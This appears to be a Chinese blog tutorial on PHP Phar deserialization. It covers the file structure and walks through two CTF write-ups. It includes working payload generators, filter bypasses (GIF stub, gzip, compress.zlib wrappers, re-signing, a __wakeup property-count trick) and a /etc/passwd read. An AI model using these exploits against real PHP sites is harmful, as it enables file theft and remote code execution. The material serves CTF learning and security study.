Web Phar 反序列化

本贴最后更新于 686 天前,其中的信息可能已经事过境迁

了解 Phar1

Phar 含义2

可以认为 Phar 是 PHP 的压缩文档,是 PHP 中类似于 JAR 的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。

默认开启版本 PHP version >= 5.3

Phar 文件结构3

Phar 文件结构可大致分为四个部分,官方文档介绍如下图
image
简单来说就是

1、Stub//Phar文件头 2、manifest//压缩文件信息 3、contents//压缩文件内容 4、signature//签名

具体如下

Stub4

Stub 是 Phar 的文件标识,也可以理解为它就是 Phar 的文件头
这个 Stub 其实就是一个简单的 PHP 文件,它的格式具有一定的要求,具体如下

xxx<?php xxx; __HALT_COMPILER();?>

这行代码的含义,也就是说前面的内容是不限制的,但在该 PHP 语句中,必须有 __HALT_COMPILER()​,没有这个,PHP 就无法识别出它是 Phar 文件。
这个其实就类似于图片文件头,比如 gif 文件没有 GIF89A​文件头就无法正确的解析图片

manifest5

a manifest describing the contents​,用于存放文件的属性、权限等信息。
这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data
image

contents6

the file contents​,这里用于存放 Phar 文件的内容

signature7

[optional] a signature for verifying Phar integrity (phar file format only)​,签名(可选参数),位于文件末尾,具体格式如下
image
从官方文档中不难看出,签证尾部的 01​代表 md5 加密,02​代表 sha1 加密,04​代表 sha256 加密,08​代表 sha512 加密
简单的举个栗子
用 010editor 打开 Phar 文件
image
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名
更换签名的脚本

from hashlib import sha1 with open('test.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 h = f[-8:] # 获取签名类型和GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) with open('newtest.phar', 'wb') as file: file.write(newf) # 写入新文件

反序列化

成因

Phar 之所以能反序列化,是因为 Phar 文件会以序列化的形式存储用户自定义的 meta-data​,PHP 使用 phar_parse_metadata​在解析 meta 数据时,会调用 php_var_unserialize​进行反序列化操作。具体解析代码

int phar_parse_metadata(char **buffer, zval *metadata, uint32_t zip_metadata_len){ php_unserialize_data_t var_hash; if (zip_metadata_len) { const unsigned char *p; unsigned char *p_buff = (unsigned char *)estrndup(*buffer, zip_metadata_len); p = p_buff; ZVAL_NULL(metadata); PHP_VAR_UNSERIALIZE_INIT(var_hash); if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) { efree(p_buff); PHP_VAR_UNSERIALIZE_DESTROY(var_hash); zval_ptr_dtor(metadata); ZVAL_UNDEF(metadata); return FAILURE; } efree(p_buff); PHP_VAR_UNSERIALIZE_DESTROY(var_hash); } }

demo

生成 Phar 文件

需要去检查一下 php.ini 中的 phar.readonly 选项,如果是 On,需要修改为 Off。

Phar 文件生成的话,可以用如下代码生成

<?php class test{ public $name="qwq"; function __destruct() { echo $this->name . " is a web vegetable dog "; } } $a = new test(); $a->name="quan9i"; $tttang=new phar('tttang.phar',0);//后缀名必须为phar $tttang->startBuffering();//开始缓冲 Phar 写操作 $tttang->setMetadata($a);//自定义的meta-data存入manifest $tttang->setStub("<?php __HALT_COMPILER();?>");//设置stub,stub是一个简单的php文件。PHP通过stub识别一个文件为PHAR文件,可以利用这点绕过文件上传检测 $tttang->addFromString("test.txt","test");//添加要压缩的文件 $tttang->stopBuffering();//停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘 ?>

image
该如何触发反序列化呢,一般是配合 Phar,此时可以不借助 unserialize()直接进行反序列化操作。Phar 属于伪协议,伪协议使用较多的是一些文件操作函数,如 fopen()​、copy()​、file_exists()​等,具体如下图
image

反序列化

前面在描述反序列化成因时提到过,是因为解析 Phar 文件时对 Meta 进行了反序列化,接下来本地测试一下,测试是否能成功触发。

测试代码

<?php class test{ public $name=""; public function __destruct() { eval($this->name); } } $tttang = file_get_contents('phar://tttang.phar/test.txt'); echo $tttang;

image
test 是之前写入 test.txt 的内容,quan9i 是之前在 Phar 文件中设置的 name​名

条件8

利用条件有以下几个

1、phar文件能够上传至服务器 //即要求存在file_get_contents()、fopen()这种函数 2、要有可利用的魔术方法 //这个的话用一位大师傅的话说就是利用魔术方法作为"跳板" 3、文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤 //一般利用姿势是上传Phar文件后通过伪协议Phar来实现反序列化,伪协议Phar格式是`Phar://`这种,如果这几个特殊字符被过滤就无法实现反序列化

绕过方式9

存在漏洞,就会存在防护,通常针对 Phar 反序列化也是有防范的。这里简单的总结一下常见的绕过方式。

更改文件格式10

我们利用 Phar 反序列化的第一步就是需要上传 Phar 文件到服务器,而如果服务端存在防护,比如这种

$_FILES["file"]["type"]=="image/gif"

要求文件格式只能为 gif​,这个时候我们该怎么办呢?
这个时候我们需要朝花夕拾,重提一下 PHP 识别 Phar 文件的方式。PHP 通过 Stub​里的 __HALT_COMPILER();​来识别这个文件是 Phar 文件,对于其他是无限制的,这个时候也就意味着我们即使对文件后缀和文件名进行更改,其实质仍然是 Phar 文件。
示例代码

<?php class Test { public $name; function __construct(){ echo "I am".$this->name."."; } } $obj = new Test(); $obj -> name = "quan9i"; $phar = new Phar('test.phar'); $phar -> startBuffering(); //开始缓冲 Phar 写操作 $phar -> setStub('GIF89a<?php __HALT_COMPILER();?>'); //设置stub,添加gif文件头 $phar ->addFromString('test.txt','test'); //要压缩的文件 $phar -> setMetadata($obj); //将自定义meta-data存入manifest $phar -> stopBuffering(); ////停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘 ?>

在浏览器上访问此文件生成 test.phar 文件,用 010editor 查看
image
随便找一个分析文件格式的
image
变成 Gif 格式,这种上传一般可以绕过大多数上传检测。

绕过 Phar 关键字检测11

Phar 反序列化中,我们一般思路是上传 Phar 文件后,通过给参数赋值为 Phar://xxx​来实现反序列化,而一些防护可能会采取禁止参数开头为 Phar 等关键字的方式来防止 Phar 反序列化,示例代码如下

if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){ die(); }

绕过的话,我们的办法是使用各种协议来进行绕过,具体如下

1、php://filter/read=convert.base64-encode/resource=phar://test.phar //即使用filter伪协议来进行绕过 2、compress.bzip2://phar:///test.phar/test.txt //使用bzip2协议来进行绕过 3、compress.zlib://phar:///home/sx/test.phar/test.txt //使用zlib协议进行绕过

绕过__HALT_COMPILER 检测12

我们在前文初识 Phar 时就提到过,PHP 通过 __HALT_COMPILER​来识别 Phar 文件,那么出于安全考虑,即为了防止 Phar 反序列化的出现,可能就会对这个进行过滤,示例代码如下

if (preg_match("/HALT_COMPILER/i",$Phar){ die(); }

这里的话绕过思路有两个
1、将 Phar 文件的内容写到压缩包注释中,压缩为 zip 文件,示例代码如下

<?php $a = serialize($a); $zip = new ZipArchive(); $res = $zip->open('phar.zip',ZipArchive::CREATE); $zip->addFromString('flag.txt', 'flag is here'); $zip->setArchiveComment($a); $zip->close(); ?>

2、将生成的 Phar 文件进行 gzip 压缩,压缩命令如下

gzip test.phar

效果如下
image
压缩后同样也可以进行反序列化

实战13

[CISCN2019 华北赛区 Day1 Web1]Dropbox14

打开靶场
image
发现是个登录界面,可以进行注册,随便注册一下登录

image
登录后发现仅存在一个文件上传
抓下包,尝试上传文件
image
发现有过滤,这里尝试用修改 Content-Type​来实现绕过
image
成功上传,查看网页界面
image
发现只存在下载和删除两个功能,抓一下下载的包
image
这个参数感觉有点东西,尝试读取一下其他文件

filename=/etc/passwd

image
此时想的是直接读取 Flag 文件,但尝试读取 Flag 文件后无果(未找到 flag.php 文件),只能从其他方面着手,这里我们发现存在下载和删除功能,盲猜有 download.php​和 delete.php​文件

filename=../../download.php filename=../../delete.php

image

# download.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
# delete.php <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>

发现这两个文件都包含了 class.php​,因此我们再查看一下 class.php​文件

//原文过程,这里缩减了很多,只截取了用到的部分 <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function close() { return file_get_contents($this->filename); } } ?>

这里的话我们注意到 class.php 中 File​类的 close()​方法,它里面用到了 file_get_contents​,题目描述了是 Phar,那这里大概率是一个突破口,那此时我们就去尝试寻找,谁可以调用这个 close​方法,最终在 User​类中的 __destruct​方法中发现 $this->db->close();​,这里调用了 close​方法,但我们需要用的这个 close​方法是在 File​类中的,这个时候该怎么办呢,我们在 Filelist​类中发现有一个 __call​方法,_call​方法是当访问不可访问的方法时触发,这个时候如果我们传入 file​,它就会由于 Filelist​中没有 close​类而调用 _call​方法,此时就会调用 File​类里的 _call​方法,然后将结果存到 results[$file->name()][$func]​中,当 Filetest​销毁时,触发 __destruct​,此时结果也被打印出来,也就将其中的内容打印了出来
这个是逆推的,那么正推的话也就相对来说更简单了

1、创建User对象->指向Filetest 2、调用Filetest类->让它指向File类,因为没有close方法,所以调用__call方法,然后转向File类执行close方法 3、成功调用File类中的close方法,将结果存到results[$file->name()][$func]中 4、Filetest类销毁时触发__destruct魔术方法,输出results中的内容

EXP 如下

<?php class User { public $db; public function __construct() { $this->db = "new Filelist()"; } } class FileList{ private $files; public function __construct(){ $this -> files = array(new File()); } } class File { public $filename = '/flag.txt'; } $a = new User(); $phar = new Phar('quan9i.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->stopBuffering(); ?>

抓文件上传的包,修改 Content-type​为 image/png​,此时再发包
image
成功上传,接下来去抓删除文件的包,使用 phar 伪协议来触发反序列化
image
成功获取 Flag

[NSSRound#4 SWPU]1zweb15

题目环境 https://www.ctfer.vip/problem/2484

image
进入靶场,发现有个查询文件和上传文件界面,尝试任意文件读取

upload.php

image

#upload.php <?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } }

分析一下这个上传文件

1、限制文件后缀,只能为gif、jpeg、jpg、png 2、检测了文件内容,意味着不能出现__HALT_COMPILER();

对于限制文件后缀,我们这里更改文件后缀即可,对于第二个,前文在简述绕过方法时也提到过,这种情况可以将 Phar 文件进行 gzip​压缩,从而实现绕过。

接下来查看一下 index.php

#index.php <?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ echo file_get_contents($file); }

这里的话不难看出利用点是 __destruct​中的 eval​函数,而这里要求 $this->ljt==="Misc"&&$this->dky==="Re"​,也就是说

__wakeup()函数不能执行,否则就达不到要求,即我们需要绕过__wakeup()

我们知道属性大于实际个数可以绕过 __wakeup​函数,那么我们这里就可以采取这种方式来进行绕过。
构造 Phar 文件

<?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="Misc"; $this->dky="Re"; $this->cmd="system('cat /flag');"; } } $phar = new Phar('quan9i.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >'); $a = new LoveNss(); $phar->setMetadata($a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>

此时 Phar 文件生成了,接下来就需要绕过了,这里还需要说明一下,就是当我们更改 Phar 文件的内容时,签名此时就会变无效,因此这里我们需要再构造一个新的签名。
步骤总的来说就是以下四步

1、更改属性值来绕过__wakeup函数 2、更改签名 2、进行gzip压缩来绕过关键字检测 4、更改文件后缀

我们可以利用一个简单的脚本来实现一下

import gzip from hashlib import sha1 with open('D:\\phpStudy\\PHPTutorial\\WWW\html\\quan9i.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup h = f[-8:] # 获取签名类型以及GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) #print(newf) newf = gzip.compress(newf) #对Phar文件进行gzip压缩 with open('D:\\phpStudy\\PHPTutorial\\WWW\\html\\newquanqi.png', 'wb') as file:#更改文件后缀 file.write(newf)

接下来上传文件
image
通过 Phar 伪协议即可获取到 Flag
image

Phar 扩展16

MySQL Phar 反序列化17

LOAD DATA LOCAL INFILE​会触发 php_stream_open_wrapper​,当我们将它放置到 Phar 文件中的时候,也会触发反序列化
先来简述一下 LOAD DATA LOCAL INFILE​,它是通过文件批量向表中插入内容的,常用语句如下

LOAD DATA LOCAL INFILE '1.txt' into table user;

可能语言描述有点抽象,这里用 Navicat​演示一下其作用
image
image
这个是语句的正常用法
而当这个文件是经过 Phar 协议的 Phar 文件时,此时调用会出现 warning,LOAD DATA LOCAL INFILE forbidden
这个是因为我们需要手动修改一下 my.ini 下的一些配置,也就是说这个是调用的前提,具体如下

local-infile=1 secure_file_priv=""

image

demo18

生成 Phar 文件

#q.php <?php class TestObject{ public $data; function __destruct(){ } } $phar = new Phar('quan9i.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $a = new TestObject(); $a->data="test"; $phar->setMetadata($a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>

访问 q.php 后生成 quan9i.phar 文件,接下来利用语句来调用 Phar 文件

#1.php <?php class TestObject{ public $data; function __destruct(){ echo $this->data; } } $m = mysqli_init(); mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true); $s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'test', 3306); $p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://quan9i.phar/test.txt\' INTO TABLE test'); ?>


  1. 了解 Phar1

  2. Phar 含义1

  3. Phar 文件结构1

  4. Stub1

  5. manifest1

  6. contents1

  7. signature1

  8. 条件1

  9. 绕过方式1

  10. 更改文件格式1

  11. 绕过 Phar 关键字检测1

  12. 绕过__HALT_COMPILER 检测1

  13. 实战1

  14. [CISCN2019 华北赛区 Day1 Web1]Dropbox1

  15. [NSSRound#4 SWPU]1zweb1

  16. Phar 扩展1

  17. MySQL Phar 反序列化1

  18. demo1

  • PHP

    PHP(Hypertext Preprocessor)是一种开源脚本语言。语法吸收了 C 语言、 Java 和 Perl 的特点,主要适用于 Web 开发领域,据说是世界上最好的编程语言。

    181 引用 • 408 回帖 • 484 关注

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...